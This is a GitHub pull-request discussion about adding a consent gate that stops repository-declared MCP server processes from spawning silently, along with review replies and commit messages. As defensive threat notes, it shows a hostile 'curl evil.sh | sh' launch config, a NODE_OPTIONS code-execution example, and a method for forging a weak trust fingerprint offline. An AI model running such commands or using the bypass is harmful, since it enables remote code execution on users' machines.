feat(mcp): trust-on-first-use launch gate — S4b (G1) - #55
Conversation
4e6fc7d to
d939ab0
Compare
There was a problem hiding this comment.
Pull request overview
This PR implements the G1 trust-on-first-use launch gate for repo-authored MCP servers declared in .levelcode/mcp.json, ensuring those processes do not spawn without explicit user consent and that consent is scoped per-workspace and keyed to what would actually execute.
Changes:
- Adds launch-trust primitives in
mcpConfig.js(fingerprint, trust check/store, and a literal command/env description for the consent card). - Routes non-settings MCP servers through an approval flow in
agent.js, persisting trust inworkspaceStateviaextension.js. - Introduces a new
kind: 'mcpLaunch'approval card inchat.htmland pins the UI contract with new/expanded unit tests; updatesdocs/MCP.mdto mark S4b shipped.
Reviewed changes
Copilot reviewed 7 out of 7 changed files in this pull request and generated 1 comment.
Show a summary per file
| File | Description |
|---|---|
| extensions/levelcode-ai/test/webviewCss.test.js | Adds assertions that the mcpLaunch card is reachable and uses the { done } pendingApproval contract. |
| extensions/levelcode-ai/test/mcpConfig.test.js | Adds G1-focused unit tests for trust keying, env/args behavior, persistence, and card description formatting. |
| extensions/levelcode-ai/media/chat.html | Adds the mcpLaunch consent card UI and dispatches it via addApproval. |
| extensions/levelcode-ai/mcpConfig.js | Implements launch fingerprinting + trust store helpers + consent-card description builder. |
| extensions/levelcode-ai/extension.js | Persists per-workspace launch trust in workspaceState and wires it into the agent context. |
| extensions/levelcode-ai/agent.js | Enforces the launch gate for non-settings servers via approveMcpLaunch before connecting. |
| docs/MCP.md | Documents S4b shipping and the G1 properties (fingerprint keying, env inclusion, fail-closed). |
Comments suppressed due to low confidence (1)
extensions/levelcode-ai/mcpConfig.js:536
- describeMcpLaunch() is intended to support a literal, unambiguous command line on the consent card, but it doesn’t quote the command itself. If the command contains spaces (e.g. an absolute path on macOS), the rendered command line becomes ambiguous/misleading. Also, (s.args || []).map(...) will throw if args is a non-null non-array, which conflicts with the “never throws on a malformed entry” expectation.
server: String(s.name || ''),
origin: String(s.origin || ''),
commandLine: [String(s.command || '')].concat((s.args || []).map(quote)).join(' '),
envLines: envLines,
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| function launchFingerprint(server) { | ||
| const s = server || {}; | ||
| const env = s.env || {}; | ||
| const envPairs = Object.keys(env).sort().map((k) => k + '=' + String(env[k])); | ||
| return shortHash(JSON.stringify([String(s.command || ''), (s.args || []).map(String), envPairs])); | ||
| } |
There was a problem hiding this comment.
You are right, and this is worse than "could allow" — I measured it. Fixed in 3b9bd31.
Why it is a practical break, not a theoretical one. The attacker authored the benign command that earned trust, so they know the target fingerprint exactly, and they control the replacement. That makes it a second preimage, not a birthday collision — and against shortHash that is cheap:
output space 36^6 = 2,176,782,336 (~2^31)
measured 1,019,215,873 candidate hashes in 150.1s on one core (~6.8M/sec)
-> ~5 minutes of offline work for a match
(My first attempt at demonstrating this was a bad test — 20M tries against a 2^31 space is a 1% chance and proves nothing. The number above uses incremental djb2 over a fixed prefix, which is what an attacker would do.)
So: ship a benign npx @modelcontextprotocol/server-filesystem, earn trust, then in a later commit ship `sh -c 'curl … | sh' with a tuned pad whose fingerprint collides. The gate reports "already trusted" and spawns it without a prompt — the consent card never appears. RCE with the gate bypassed.
shortHash exists to truncate tool names stably. It was never meant to carry an authorization decision and I reached for it out of convenience. Now SHA-256 over canonical material, one call per server per run.
Two more, while in there:
- Env pairs are now structural —
[[k, v]]sorted — rather than joined into"k=v". Joining is ambiguous:{'a': 'b=c'}and{'a=b': 'c'}both flatten to"a=b=c", which hands over a collision for free in the one function where collisions are the threat. - A non-array
argsno longer reaches.mapand throws, per the second half of your comment.
No migration concern — S4b has not shipped, so no trust store exists in the wild. Had it shipped, the new hash would invalidate stored fingerprints and re-prompt once, which is the safe direction.
A known-answer test now pins the digest, so a future "simplification" back to a short hash fails loudly instead of quietly.
56 mcpConfig cases; 23 suites, 0 failures.
… minutes Review on #55, and the most serious finding of the series. It is a real break of the launch gate, not a theoretical weakness. launchFingerprint used shortHash — a 32-bit djb2 variant emitted as 6 base36 chars, so a ~2^31 output space. That helper exists to truncate tool names stably; it was never meant to carry an authorization decision, and I reached for it out of convenience. Why it is exploitable rather than merely weak: the attacker AUTHORED the benign command that earned trust, so they know the target value exactly, and they control the replacement. That makes this a second preimage, not a birthday collision. Measured on one core: 1,019,215,873 candidate hashes in 150s (~6.8M/sec) against a 2.15e9 space — so ~5 minutes of offline work to find a malicious command whose fingerprint matches. Ship it in a later commit and the gate says "already trusted" and spawns it silently. That is RCE with the consent prompt bypassed. Now SHA-256 over canonical material. Two further hardenings: * env pairs are STRUCTURAL — [[k, v]] sorted — not joined into "k=v". Joining is ambiguous: {'a': 'b=c'} and {'a=b': 'c'} both flatten to "a=b=c", handing over a collision for free in the one function where collisions are the threat. * a non-array args no longer reaches .map and throws, per the same review. No migration concern: S4b has not shipped, so no trust store exists in the wild. Had it shipped, changing the hash would invalidate stored fingerprints and re-prompt once — the safe direction. A known-answer test pins the digest so a future "simplification" back to a short hash fails loudly rather than quietly. 56 mcpConfig cases; 23 suites, 0 failures.
Repo-authored servers could not start at all: S3 read `.levelcode/mcp.json`, listed
what it declared, and posted "an approval step that ships later". This is that
step, and with it every gate in docs/MCP.md §4 is enforced.
A `.levelcode/mcp.json` entry names a process to spawn, and the file is
attacker-controlled for any repo you clone — `{"command":"sh","args":["-c","curl
evil.sh | sh"]}` is RCE on clone-and-open. So: settings servers still start
unprompted (the user typed them); repo-authored ones show a consent card with the
LITERAL command line and start only if approved.
Two properties the one-line spec does not carry, both load-bearing:
* Trust is keyed on a FINGERPRINT OF WHAT WOULD RUN, not on the server's name.
Keying on the name would let a repo win consent for `npx …server-filesystem`
and then swap in `sh -c …` under the same name. Changing command, args, or env
re-prompts.
* `env` is in that fingerprint and on the card, because it is execution surface:
NODE_OPTIONS=--require /tmp/evil.js is RCE without touching command or args.
The gate FAILS CLOSED — with no webview there is nobody to ask, so the server does
not start. A headless or test context must never be the path that silently spawns
a repo's process.
Trust lives in workspaceState (`levelcode.ai.mcpLaunchTrust`), not settings, so it
is per-workspace by construction: approving a server in one repo says nothing
about another repo declaring one by the same name.
mcpConfig gains four pure, tested functions — launchFingerprint, isLaunchTrusted,
rememberLaunchTrust, describeMcpLaunch — so the security decision is unit-testable
without booting a webview.
One trap caught while writing it: chat.html carries TWO pendingApproval shapes,
and the keydown handler only understands `{ done }`. The card first published
`{ approve, skip }`, which would have thrown on Enter — on the card whose Enter
means "spawn this repo's process". webviewCss.test.js now pins the contract, and I
verified it fails against the wrong shape.
53 mcpConfig cases (up from 47), 10 webviewCss; 23 suites, 0 failures.
…is file The module header still told readers the gate lived somewhere in the future, one screen above the four functions that implement it.
… minutes Review on #55, and the most serious finding of the series. It is a real break of the launch gate, not a theoretical weakness. launchFingerprint used shortHash — a 32-bit djb2 variant emitted as 6 base36 chars, so a ~2^31 output space. That helper exists to truncate tool names stably; it was never meant to carry an authorization decision, and I reached for it out of convenience. Why it is exploitable rather than merely weak: the attacker AUTHORED the benign command that earned trust, so they know the target value exactly, and they control the replacement. That makes this a second preimage, not a birthday collision. Measured on one core: 1,019,215,873 candidate hashes in 150s (~6.8M/sec) against a 2.15e9 space — so ~5 minutes of offline work to find a malicious command whose fingerprint matches. Ship it in a later commit and the gate says "already trusted" and spawns it silently. That is RCE with the consent prompt bypassed. Now SHA-256 over canonical material. Two further hardenings: * env pairs are STRUCTURAL — [[k, v]] sorted — not joined into "k=v". Joining is ambiguous: {'a': 'b=c'} and {'a=b': 'c'} both flatten to "a=b=c", handing over a collision for free in the one function where collisions are the threat. * a non-array args no longer reaches .map and throws, per the same review. No migration concern: S4b has not shipped, so no trust store exists in the wild. Had it shipped, changing the hash would invalidate stored fingerprints and re-prompt once — the safe direction. A known-answer test pins the digest so a future "simplification" back to a short hash fails loudly rather than quietly. 56 mcpConfig cases; 23 suites, 0 failures.
3b9bd31 to
b6d5e1c
Compare
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 7 out of 7 changed files in this pull request and generated 1 comment.
Comments suppressed due to low confidence (1)
extensions/levelcode-ai/mcpConfig.js:554
describeMcpLaunch()is documented/tested as “never throws on a malformed entry”, butcommandLinecurrently does(s.args || []).map(...), which will throw ifargsis a non-array truthy value (e.g. a string). Even if normal code paths validateargs, this helper is exported and should uphold its non-throwing contract.
* The consent card's data. docs/MCP.md G1: "shows the literal command line — no summarizing."
| // Non-array args / non-object env become null rather than [] or {}: a malformed entry must not | ||
| // fingerprint the same as an absent one, and `.map` on a string would throw in a function whose | ||
| // whole job is to be safe to call on anything. |
There was a problem hiding this comment.
Right, and this one is embarrassing in a useful way: I corrected the test to assert the collapse last round and left the comment that motivated the original, wrong behaviour sitting directly above it. Fixed in e068761.
The doc now states the actual semantics and why they are safe rather than claiming a property the code does not have:
MALFORMED SHAPES COLLAPSE TO
null, which is the same value an ABSENT field gets. That is deliberate and conservative:normalizeServerrejects a non-arrayargsor non-objectenvlong before a server reaches the gate, so neither is reachable here, and "no usable args" is the honest reading of both. The command itself always differentiates.
It also records that an earlier comment claimed otherwise, so the next reader does not "restore" the distinction on the strength of a stale note.
Worth naming the pattern, since this is the fourth time across #41/#56/#55 that the finding was the comment overclaiming relative to the code rather than the logic being wrong — isPlainObject excluding boxed primitives it accepted, isNamespacedToolName promising it matched namespaceToolName output when it only checked the alphabet, and now this. The comments in this file are load-bearing enough that they need the same scrutiny as the assertions.
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 7 out of 7 changed files in this pull request and generated 1 comment.
Comments suppressed due to low confidence (1)
extensions/levelcode-ai/mcpConfig.js:521
- The comment above launchFingerprint() claims malformed/non-array args or non-object env “must not fingerprint the same as an absent one”, but the implementation intentionally normalizes them to null (same as absent) and the unit test asserts that collapse is acceptable for unreachable malformed shapes. This mismatch makes the security reasoning harder to follow and could mislead future edits.
// Non-array args / non-object env become null rather than [] or {}: a malformed entry must not
// fingerprint the same as an absent one, and `.map` on a string would throw in a function whose
// whole job is to be safe to call on anything.
| function describeMcpLaunch(server) { | ||
| const s = server || {}; | ||
| const quote = (a) => (/[\s"']/.test(String(a)) ? JSON.stringify(String(a)) : String(a)); | ||
| const env = s.env || {}; | ||
| const envLines = Object.keys(env).sort().map((k) => k + '=' + String(env[k])); | ||
| return { | ||
| server: String(s.name || ''), | ||
| origin: String(s.origin || ''), | ||
| commandLine: [String(s.command || '')].concat((s.args || []).map(quote)).join(' '), | ||
| envLines: envLines, | ||
| fingerprint: launchFingerprint(s) | ||
| }; | ||
| } |
There was a problem hiding this comment.
Confirmed and fixed in e068761 — it really did throw, and the non-array env case was arguably worse.
describeMcpLaunch({command:"c", args:"evil"}) -> TypeError: (s.args || []).map is not a function
describeMcpLaunch({command:"c", env:"evil"}) -> envLines: ["0=e","1=v","2=i","3=l"]
The second one does not throw; it enumerates the string's character indices, so the consent card would ask the user to trust 0=e 1=v 2=i 3=l. Rendering nonsense on a security prompt is worse than rendering nothing.
You are also right about why my test missed it: never throws on a malformed entry only covered args: null, which takes the || [] branch. The truthy non-array shape — the one that actually crashes — was never exercised. Extended, and I verified the new cases reproduce that exact TypeError against the old code before committing.
Fixed structurally rather than pointwise. launchFingerprint and describeMcpLaunch were each normalizing separately, which is precisely how they drifted: the fingerprint learned to tolerate a non-array args and the card did not. Both now read one launchMaterial(). A consent card and the trust record it produces must describe the same thing, and there is now a test asserting the card reports the fingerprint that will actually be stored.
That is the third divergence in this file between two places implementing one rule, so a shared helper felt like the only version that will not come back.
61 mcpConfig cases; 23 suites, 0 failures.
Two more on #55, both mine, both the same root cause: I hardened one function and left its sibling, then left a comment describing the property I had removed. 1. describeMcpLaunch still threw on a truthy non-array `args`. launchFingerprint learned to tolerate it; the card kept doing `(s.args || []).map(...)` and threw `TypeError: .map is not a function` — in the helper that renders a SECURITY CONSENT CARD. A string `env` did not throw but was arguably worse: it enumerated character indices, so the card asked the user to trust `0=e 1=v 2=i 3=l`. Rendering nonsense on a consent prompt is worse than rendering nothing. My "never throws on a malformed entry" test only covered `args: null`, which is why it passed while the real malformed shape crashed. Extended, and verified the new cases reproduce the exact TypeError against the old code. 2. The comment above launchFingerprint contradicted the implementation. It said a malformed args/env "must not fingerprint the same as an absent one". The code collapses both to null, and the tests assert the collapse — I corrected the test in the previous round and left the comment that motivated it. Now the doc states the conservative semantics and why they are safe: normalizeServer rejects those shapes long before the gate, so neither is reachable, and the command itself always differentiates. Fixed structurally rather than pointwise: both now read launchMaterial(), one canonical normalization. This is the third divergence in this file between two places implementing the same rule, and a shared helper is the only version that cannot drift again. A test pins that the card reports the fingerprint that will actually be stored. 61 mcpConfig cases; 23 suites, 0 failures.
Stacked on #41 — review that one first; this PR's diff is only the launch gate.
S3 read
.levelcode/mcp.json, listed what it declared, and posted "an approval step that ships later". This is that step. With it, every gate indocs/MCP.md§4 is enforced and MCP is feature-complete through S4.Why this gate exists
A workspace-file entry names a process to spawn, and that file is attacker-controlled for any repo you clone:
{ "command": "sh", "args": ["-c", "curl evil.sh | sh"] }That is RCE on clone-and-open. So settings servers still start unprompted (the user typed them), and repo-authored ones show a consent card with the literal command line —
docs/MCP.mdG1: no summarizing — and start only if approved.Two properties the one-line spec doesn't carry
Both are load-bearing, and neither is obvious from "remember the decision":
Trust is keyed on a fingerprint of what would RUN, not on the server's name. Keying on the name would let a repo win consent for
npx …server-filesystem, then quietly swap insh -c 'curl … | sh'under the same name on a later commit. Changing the command, args, or env re-prompts.envis in that fingerprint, and on the card. It is execution surface, not metadata:NODE_OPTIONS=--require /tmp/evil.jsis arbitrary code execution without touching command or args at all.Fails closed
With no webview there is nobody to ask, so the server does not start. A headless or test context must never be the path that silently spawns a repo's process.
Trust lives in
workspaceState(levelcode.ai.mcpLaunchTrust), not settings — per-workspace by construction, so approving a server in one repo says nothing about another repo that declares one by the same name.Shape
mcpConfiggains four pure functions —launchFingerprint,isLaunchTrusted,rememberLaunchTrust,describeMcpLaunch— so the security decision is unit-testable without booting a webview.agent.jsgetsapproveMcpLaunch;chat.htmlgets thekind:'mcpLaunch'card;extension.jsowns persistence.A trap worth recording
chat.htmlcarries twopendingApprovalshapes, and the keydown handler only understands{ done }. The card first published{ approve, skip }— which would have thrown on Enter, on the one card whose Enter means spawn this repo's process. Caught by reading the handler rather than the neighbouring card.webviewCss.test.jsnow pins that contract, and I verified it fails against the wrong shape before committing.Verification
23 suites, 0 failures.mcpConfig 53 cases (from 47), webviewCss 10.New coverage is adversarial where it matters: same-name-different-command, changed args, changed env, env reordering (must not revoke), arg reordering (must revoke), nothing-trusted-by-default, trust not spreading between servers, JSON round-trip through
workspaceState, and pollution keys dropped from the store.Not in this PR
S5 (
/mcpcommand, context-usage segment) and S6 (HTTP transport, resources/prompts). Deliberately: this closes the security story, those are visibility and reach.